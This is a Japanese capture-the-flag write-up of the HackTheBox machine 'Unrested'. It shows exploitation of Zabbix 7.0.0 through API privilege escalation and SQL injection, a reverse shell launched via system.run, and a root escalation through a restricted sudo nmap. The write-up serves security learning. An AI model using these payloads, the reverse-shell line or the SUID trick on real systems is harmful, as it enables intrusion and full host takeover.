【HackTheBox】Unrested：Writeup

# 概要

HackTheBox「Unrested」のWriteupです。

https://app.hackthebox.com/machines/Unrested

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.50 -oN nmap_result
PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped
10051/tcp open  ssl/zabbix-trapper?
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|Apache httpd 2.4.52|
|10050|tcpwrapped||
|10051|ssl/zabbix-trapper?||

`80`番ポートにアクセスすると`Zabbix`のログインフォームが表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/03a3813b-c789-d854-d63b-b03499b7f915.png)

事前に提示されている`Username: matthew`,`Password: 96qzn0h2e1k3`を使用してログインできます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bdd9da0a-23d6-3a81-fb4e-7a1fd131872d.png)

ダッシュボードから`version 7.0.0`だと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fee43d93-1db5-a55f-e80b-78b7550b0efe.png)

Zabbixの脆弱性で検索すると`CVE-2024-36467`が見つかります。
Zabbix APIを利用したアカウント権限昇格の脆弱性のようです。

https://nvd.nist.gov/vuln/detail/CVE-2024-36467

また、`CVE-2024-42327`も見つかりました。
Zabbix APIの`user.get`エンドポイントでSQLインジェクションが出来ます。

https://www.security-next.com/164748

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

APIの公式ドキュメントも参考に進めます。

https://www.zabbix.com/documentation/current/en/manual/api

## CVE-2024-36467のエクスプロイト

まず、APIキーを取得します。

```
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":
{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'

{"jsonrpc":"2.0","result":"287abc63e165b628adc310470a43421a","id":1}
```

`user.get`でユーザー一覧を取得します。

https://www.zabbix.com/documentation/current/en/manual/api/reference/user/get

`auth`キーの値に先ほど取得したAPIキーを設定します。

```
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params": {"output": "extend"},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1143  100  1026  100   117   1998    227 --:--:-- --:--:-- --:--:--  2223
{
  "jsonrpc": "2.0",
  "result": [
    {
      "userid": "1",
      "username": "Admin",
      "name": "Zabbix",
      "surname": "Administrator",
      "url": "",
      "autologin": "1",
      "autologout": "0",
      "lang": "default",
      "refresh": "30s",
      "theme": "default",
      "attempt_failed": "0",
      "attempt_ip": "10.10.14.21",
      "attempt_clock": "1733477708",
      "rows_per_page": "50",
      "timezone": "default",
      "roleid": "3",
      "userdirectoryid": "0",
      "ts_provisioned": "0"
    },
    {
      "userid": "2",
      "username": "guest",
      "name": "",
      "surname": "",
      "url": "",
      "autologin": "0",
      "autologout": "15m",
      "lang": "default",
      "refresh": "30s",
      "theme": "default",
      "attempt_failed": "0",
      "attempt_ip": "",
      "attempt_clock": "0",
      "rows_per_page": "50",
      "timezone": "default",
      "roleid": "4",
      "userdirectoryid": "0",
      "ts_provisioned": "0"
    },
    {
      "userid": "3",
      "username": "matthew",
      "name": "Matthew",
      "surname": "Smith",
      "url": "",
      "autologin": "1",
      "autologout": "0",
      "lang": "default",
      "refresh": "30s",
      "theme": "default",
      "attempt_failed": "0",
      "attempt_ip": "10.10.14.202",
      "attempt_clock": "1733519157",
      "rows_per_page": "50",
      "timezone": "default",
      "roleid": "1",
      "userdirectoryid": "0",
      "ts_provisioned": "0"
    }
  ],
  "id": 1
}
```

下記情報を取得できました。
管理者アカウントにはロールID`3`が割り当てられています。

|ユーザーID|ユーザー名|ロールID|
|:-:|:-:|:-:|
|1|Admin|3|
|2|guest|4|
|3|matthew|1|

`usergroup.get`を使用してユーザーグループを確認します。

https://www.zabbix.com/documentation/current/en/manual/api/reference/usergroup/get

```
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"usergroup.get","params": {"output": "extend","status": 0},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   461  100   327  100   134    639    262 --:--:-- --:--:-- --:--:--   900
{
  "jsonrpc": "2.0",
  "result": [
    {
      "usrgrpid": "13",
      "name": "Internal",
      "gui_access": "1",
      "users_status": "0",
      "debug_mode": "0",
      "userdirectoryid": "0",
      "mfa_status": "0",
      "mfaid": "0"
    },
    {
      "usrgrpid": "7",
      "name": "Zabbix administrators",
      "gui_access": "0",
      "users_status": "0",
      "debug_mode": "0",
      "userdirectoryid": "0",
      "mfa_status": "0",
      "mfaid": "0"
    }
  ],
  "id": 1
}
```

AdminのグループIDが`7`,内部用のグループIDが`13`に設定されていると分かりました。

`usergroup.update`を使用して`matthew`を管理者グループと内部用グループに追加します。

https://www.zabbix.com/documentation/current/en/manual/api/reference/usergroup/update

```
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.update","params": {"userid":"3","usrgrps":[{"usrgrpid":"13"},
{"usrgrpid":"7"}]},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   213  100    51  100   162     96    305 --:--:-- --:--:-- --:--:--   401
{
  "jsonrpc": "2.0",
  "result": {
    "userids": [
      "3"
    ]
  },
  "id": 1
}
```

再度`user.get`リクエストを送ると、`matthew`アカウントが両方のグループに所属できていると分かります。

```
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params": {"output": ["userid","3"],"selectUsrgrps":["usrgrpid","name"],"filter": {"alias":"matthew"}},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   509  100   320  100   189    623    368 --:--:-- --:--:-- --:--:--   992
{
  "jsonrpc": "2.0",
  "result": [
    {
      "userid": "1",
      "usrgrps": [
        {
          "usrgrpid": "7",
          "name": "Zabbix administrators"
        },
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    },
    {
      "userid": "2",
      "usrgrps": [
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    },
    {
      "userid": "3",
      "usrgrps": [
        {
          "usrgrpid": "7",
          "name": "Zabbix administrators"
        },
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    }
  ],
  "id": 1
}
```

## CVE-2024-42327のエクスプロイト

`selectRole`オプションが指定されている場合のサニタイズが不十分なので、そこでSQLインジェクションを悪用します。
試しに`SLEEP`関数を実行してみるとSQLインジェクションが成功したと分かります。
`--proxy`オプションでBurp Proxyを挟んでいます。

```
$ time curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params": {"output": ["userid","username"],"selectRole":["roleid","name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"],"editable":1},"auth":"287abc63e165b628adc310470a43421a","id":1}' --proxy 127.0.0.1:8080 | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   358  100   145  100   213     26     38  0:00:05  0:00:05 --:--:--    41
{
  "jsonrpc": "2.0",
  "result": [
    {
      "userid": "3",
      "username": "matthew",
      "role": {
        "roleid": "1",
        "r.name AND (SELECT 1 FROM (SELECT SLEEP(5))A)": "0"
      }
    }
  ],
  "id": 1
}

real    5.52s
user    0.01s
sys     0.00s
cpu     0%

real    5.52s
user    0.00s
sys     0.00s
cpu     0%
```

Burpから今のリクエスト内容を取得し、`selectRole`の値を編集してテキストファイルに保存します。

```sqli_request.txt 
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
User-Agent: curl/8.10.1
Accept: */*
Content-Type: application/json-rpc
Content-Length: 213
Connection: keep-alive

{
        "jsonrpc":"2.0",
        "method":"user.get",
        "params": {
                "output": ["userid","username"],
                "selectRole": [
                        "roleid",
                        "name *"
                ],
                "editable":1
        },
        "auth":"c8b1603a7d347f4ff40db5f4a6238864",
        "id":1
}
```

SQLMapでDBの列挙ができました。

```
$ sqlmap -r sqli_request.txt --dbs

available databases [2]:
[*] information_schema
[*] zabbix
```

`zabbix`DBのテーブル情報を列挙できました。

```
$ sqlmap -r sqli_request.txt --batch --dbms=mysql -D zabbix --tables

Database: zabbix
[16 tables]
+-------------------------+
| A                       |
| event_tag               |
| grai                    |
| hgset                   |
| httpstep                |
| item_discovery          |
| item_rtdata             |
| lld_override_opdiscover |
| problem                 |
| proxy_group             |
| proxy_history           |
| proxy_rtdata            |
| script_param            |
| sessions                |
| token                   |
| users                   |
+-------------------------+
```

`sessions`テーブルからAdminのセッションデータを取得できました。

```
$ sqlmap -r sqli_request.txt --batch -D zabbix -T sessions --dump

Database: zabbix
Table: sessions
[2 entries]
+---------+----------------------------------+----------------------------------+----------+------------+
| userid  | sessionid                        | secret                           | status   | lastaccess |
+---------+----------------------------------+----------------------------------+----------+------------+
| 1       | cfd65dc060069d722654831aa2b9125d | 0e0c3531bf76bdd2450f6ef7f84e25e3 | 0        | 1733555177 |
| <blank> | <blank>                          | <blank>                          | 0        | 15         |
+---------+----------------------------------+----------------------------------+----------+------------+
```

Zabbixでは`system.run`が有効な場合、`item.create`を使用してRCEを実行できます。

https://www.zabbix.com/documentation/current/en/manual/api/reference/item/create

https://www.zabbix.com/documentation/7.0/en/manual/config/items/itemtypes/zabbix_agent#system.run

https://www.zabbix.com/documentation/7.0/en/manual/extensions?hl=system.run

`system.run`を実行するには`hostid`や`interfaceid`が必要なので`host.get`エンドポイントから取得します。
`auth`キーの値には先ほどSQLインジェクションから取得したAdminの`sessionid`を使用します。

```
$ curl --request POST \                                                      
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"host.get","params":
{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"auth":"cfd65dc060069d722654831aa2b9125d","id":1}' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   272  100   112  100   160    220    315 --:--:-- --:--:-- --:--:--   535
{
  "jsonrpc": "2.0",
  "result": [
    {
      "hostid": "10084",
      "host": "Zabbix server",
      "interfaces": [
        {
          "interfaceid": "1"
        }
      ]
    }
  ],
  "id": 1
}
```

`item.create`の`system.run`を使用してリバースシェルを張ります。

```
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"rce","key_":"system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.176/1234 0>&1'\'']","delay":1,"hostid":"10084","type":0,"value_type":1,"interfaceid":"1"},"auth":"cfd65dc060069d722654831aa2b9125d","id":1}'

{"jsonrpc":"2.0","result":{"itemids":["47183"]},"id":1}
```

Netcatでリッスンしていると`zabbix`アカウントのシェルを取得できました。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.176] from (UNKNOWN) [10.10.11.50] 53480
bash: cannot set terminal process group (1928): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ whoami
whoami
zabbix
```

`/home/matthew/user.txt`からユーザーフラグを入手できました。

```
$ cat user.txt
cat user.txt
8427706fbe431aae57012a4a9f76b981
```

# Root Flag

`sudo -l`を確認すると`nmap`が許可されています。

```
$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *
```

GTFOBinsで`nmap`のsudoを利用したテクニックが見つかります。

https://gtfobins.github.io/gtfobins/nmap/#sudo

GTFOBinsを参考に進めますが、エラーメッセージが表示されます。

```
$ TF=$(mktemp)
$ echo 'os.execute("/bin/sh")' > $TF
$ sudo nmap --script=$TF
Script mode is disabled for security reasons.
```

`nmap`の処理を確認すると権限昇格に使用する`--script`などのオプションが実行できないようになっており、対策がされています。

```
$ which nmap
/usr/bin/nmap

$ cat /usr/bin/nmap
#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
    ["--interactive"]="Interactive mode is disabled for security reasons."
    ["--script"]="Script mode is disabled for security reasons."
    ["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
    ["-iL"]="File input mode is disabled for security reasons."
)

# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
    if [[ "$*" == *"$option"* ]]; then
        echo "${RESTRICTED_OPTIONS[$option]}"
        exit 1
    fi
done
```

`nmap`のスクリプトは`Lua`というスクリプト言語で書かれています。

https://nmap.org/book/nse-language.html

今回はLuaの`os.execute`メソッドを利用します。
この関数を利用することでシステムコマンドを実行できます。

https://www.lua.org/pil/22.2.html

また、nmapの`--datadir`オプションを使用することで、スクリプトファイルのディレクトリを任意の場所に指定できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/71d2bb91-6c3a-237d-d060-f905e0f7cf84.png)

https://nmap.org/man/ja/man-misc-options.html

nmapの`-sC`オプションを使用した場合は`nse_main.lua`がロードされます。

https://nmap.org/book/man-nse.html

```
$ ls -la /usr/share/nmap
ls -la /usr/share/nmap
total 9192
drwxr-xr-x   4 root root    4096 Dec  1 13:40 .
drwxr-xr-x 126 root root    4096 Dec  3 11:51 ..
-rw-r--r--   1 root root   10556 Jan 12  2023 nmap.dtd
-rw-r--r--   1 root root  717314 Jan 12  2023 nmap-mac-prefixes
-rw-r--r--   1 root root 5002931 Jan 12  2023 nmap-os-db
-rw-r--r--   1 root root   14579 Jan 12  2023 nmap-payloads
-rw-r--r--   1 root root    6703 Jan 12  2023 nmap-protocols
-rw-r--r--   1 root root   49647 Jan 12  2023 nmap-rpc
-rw-r--r--   1 root root 2461461 Jan 12  2023 nmap-service-probes
-rw-r--r--   1 root root 1000134 Jan 12  2023 nmap-services
-rw-r--r--   1 root root   31936 Jan 12  2023 nmap.xsl
drwxr-xr-x   3 root root    4096 Dec  1 13:40 nselib
-rw-r--r--   1 root root   48404 Jan 12  2023 nse_main.lua
drwxr-xr-x   2 root root   36864 Dec  1 13:40 scripts
```

`os.execute()`を使用し、`/bin/bash`にSUIDを設定するスクリプトを`/tmp/nse_main.lua`として新たに作成します。

```
$ echo 'os.execute("chmod u+s /bin/bash")' > /tmp/nse_main.lua
```

Nmapをlocalhostに実行します。
`--datadir`と`-sC`オプションを併用することで、新たに作成した`/tmp/nse_main.lua`が指定されます。

```
$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
<ew$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-07 08:40 UTC
nmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed.
bash: [1930: 2 (255)] tcsetattr: Inappropriate ioctl for device
```

`/bin/bash`を確認するとSUIDが設定されていると分かります。

```
zabbix@unrested:/home/matthew$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
```

Bashの`-p`オプションでrootに昇格出来ました。

```
$ /bin/bash -p 
/bin/bash -p
whoami
root
```

`/root/root.txt`からルートフラグを入手できました。

```
cat /root/root.txt
53909d58b958b7ae2d57b5f2aecb0720
```